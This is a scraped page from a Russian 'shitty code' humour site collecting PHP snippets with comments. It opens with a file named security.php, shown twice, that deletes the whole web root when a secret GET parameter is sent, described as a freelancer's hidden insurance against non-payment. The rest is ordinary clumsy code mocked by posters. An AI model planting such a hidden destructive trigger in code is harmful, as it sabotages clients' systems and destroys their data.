- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+136
<?php
$param = $_GET['delaem'];
if($param=='nahui')
{
$dir = __DIR__;
shell_exec("rm -f -R ".$_SERVER['DOCUMENT_ROOT']);
}
?>
Фрилансер защищает себя от неплатежеспособного заказчика xD
Файл лежал на продакшин сервере около года, название файла - security.php
+109
public function __get($name){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], $this->vals[$name]['mdl']) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0){
$class = $this->fields[$name];
$id = (string)$this->vals[$name]['id'];
if(!$this->refsCache[$id])
$this->refsCache[$id] = $class::findById($this->vals[$name]['id']);
return $this->refsCache[$id];
}else
return $this->vals[$name];
}elseif(isset($this->fieldsRev[$name]))
return $this->vals[$name];
else throw new Exception('Not found field "'.$name.'" when reading in model');
}
public function __set($name, $value){
if(isset($this->fields[$name])){
if(class_exists($this->fields[$name]) &&
strcasecmp($this->fields[$name], get_class($value)) == 0 &&
strcasecmp(get_parent_class($this->fields[$name]), __CLASS__) == 0)
$this->vals[$name] = array('id' => $value->getId(), 'mdl' => strtolower($this->fields[$name]));
else
$this->vals[$name] = $value;
}elseif(isset($this->fieldsRev[$name]))
$this->vals[$name] = $value;
else throw new Exception('Not found field "'.$name.'" when writing in model');
}
Пример реализации через жопу полей для базового класс модели, с ужасным оформлением кода.
+88
//До рефакторинга
static function initConnectOnce(){
$who = get_called_class();
if(!$GLOBALS[$who][class_cllct]){
$db = new DataBase();
$GLOBALS[$who][class_cllct] = $db->selectCollection(get_called_class());
}
return $GLOBALS[$who][class_cllct];
}
//После
public static function initCollectOnce(){
$who = get_called_class();
$cllct = &self::$cacheCollect[$who];
if(!$cllct){
$db = new DataBase();
$cllct = $db->selectCollection($who);
}
return $cllct;
}
Недавно начал рефакторить свой же код. Нашел такой вот незаметный гавнокод...
Для тех кто в танке =)
1. selectCollection(get_called_class()) - зачем вызывать по второму разу, если результат уже есть в переменной $who.
2. $GLOBALS[$who][class_cllct] - немного глюкнуло наверное, когда писал... Логичнее так $GLOBALS[class_cllct][$who].
3. initConnectOnce - тут даже наверное не Connect должно быть, а Collect.
4. Вместо $GLOBALS[$who][class_cllct] лучше(имхо) заюзать статичное свойство для класса.
5. static function initConnectOnce - забыл public описать....
+100
<?php
/*
Все очень просто. Создаем файл.
Например login.php (что бы никто не догадался=) )
И записываем в него несколько функций
*/
function echoJavaScript($str)
{
echo " <script type=\"text/javascript\">
<!--
window.alert(\"$str\");
//-->
</script>";
}
function JavaScript_href()
{
echo " <script type=\"text/javascript\">
<!--
location.href = '/';
//-->
</script>";
}
?>
<?php
/*Создаем еще один файл, где эти функции мы будем вызывать
Ну, например, у вас имеются на сайте скрипты,
доступные только зарегистрированным пользователям
Получив отрицательный результат проверки юзера,
Вы вызываете эти функции, не забыл, естественно,
предварительно подключить нужный файл
*/
include("login.php");
#Вначале популярно объясняем что к чему
echoJavaScript('Вы не имеете прав доступа к этой странице.');
#А потом перенаправляем на главную страницу
JavaScript_href();
?>
Прячем JavaScript от пользователя.
+67
//разделяем даты на день, месяц, год
$date_one=$_POST['date_one'];
$date_two=$_POST['date_two'];
$mounth_one=substr($date_one,0,2);
$day_one=substr($date_one,3,2);
$year_one=substr($date_one,6,4);
$mounth_two=substr($date_two,0,2);
$day_two=substr($date_two,3,2);
$year_two=substr($date_two,6,4);
//смотрит какая дата больше чтоб передать функции в правильном порядке
if ($year_one>$year_two || ($year_one==$year_two &&$mounth_one>$mounth_two)||($year_one==$year_two&&$mounth_one==$mounth_two&&$date_one>$date_two)){
echo 'первая дата больше<br/>';
counting_days($date_one,$date_two);
}else{
echo 'вторая дата больше<br/>';
counting_days($date_two,$date_one);
}
забыл что сравнить даты можно гораздо проще
+79
if ($foto1 != "") {
$fotourl = $foto1;
} else {
if ($foto2 != "") {
$fotourl = $foto2;
} else {
if ($foto3 != "") {
$fotourl = $foto3;
} else {
if ($foto4 != "") {
$fotourl = $foto4;
} else {
if ($foto5 != "") {
$fotourl = $foto5;
} else {
if ($foto6 != "") {
$fotourl = $foto6;
} else {
if ($foto7 != "") {
$fotourl = $foto7;
} else {
if ($foto8 != "") {
$fotourl = $foto8;
} else {
if ($foto9 != "") {
$fotourl = $foto9;
} else {
if ($foto10 != "") {
$fotourl = $foto10;
} else {
if ($foto11 != "") {
$fotourl = $foto11;
} else {
if ($foto12 != "") {
$fotourl = $foto12;
} else {
if ($foto13 != "") {
$fotourl = $foto13;
} else {
if ($foto14 != "") {
$fotourl = $foto14;
} else {
// продолжение
}
}
}
}
}
}
}
}
}
}
}
}
}
}
Дали допилить сайт
+49
switch ( ! empty($rules['last_online']) )
{
case '3days':
$where .= " AND last_online > NOW() - INTERVAL '3 DAYS' ";
break;
case 'week':
$where .= " AND last_online > NOW() - INTERVAL '7 DAYS' ";
break;
case 'month':
$where .= " AND last_online > NOW() - INTERVAL '1 MONTH' ";
break;
}
Внезапно сломался фильтр .... И такое найти можно. Впервые подобное вижу
+48
class A {
public $timeline = array();
function __construct(){
for ( $i=3; $i-->0;){
array_push($this->timeline, new B);
}
}
}
class B {
public $moments = array();
function __construct(){
for ( $i=3; $i-->0;){
array_push($this->moments, new C);
}
}
}
class C {
public $minutes = array();
function __construct(){
for ( $i=3; $i-->0;){
array_push($this->minutes, new D);
}
}
}
class D {
public $time = 0;
}
echo json_encode(new A);
Вопрос от автора: Добрый день, столкнулся с такой задачей, нужно составить массив в php что бы перегоняя в json он был вида (туткусокжасона) ...бла-бла-бла... Нашел что-то типо этого, расскажите пожалуйста толком как правильно это реализовать
Пруфлинк: http://forum.php.su/topic.php?forum=72&topic=1873
+49
// Ж. Попов: include('blocks/bd.php'); БИДЭ подключено, мои юные сантехники :)
+50
public function getEgreementsInfo($client_id) {
$list = array();
$query = $this->db->query("
SELECT * FROM `".DB_PREFIX."import_11` WHERE `client_id` = '".$this->db->escape($client_id)."'
");
return $this->customer->getAgreements();
return $query->rows;
}
Бывают ситуации, когда ошибка вылазит на продакшене, и исправить нужно за несколько минут. В результате возникают перлы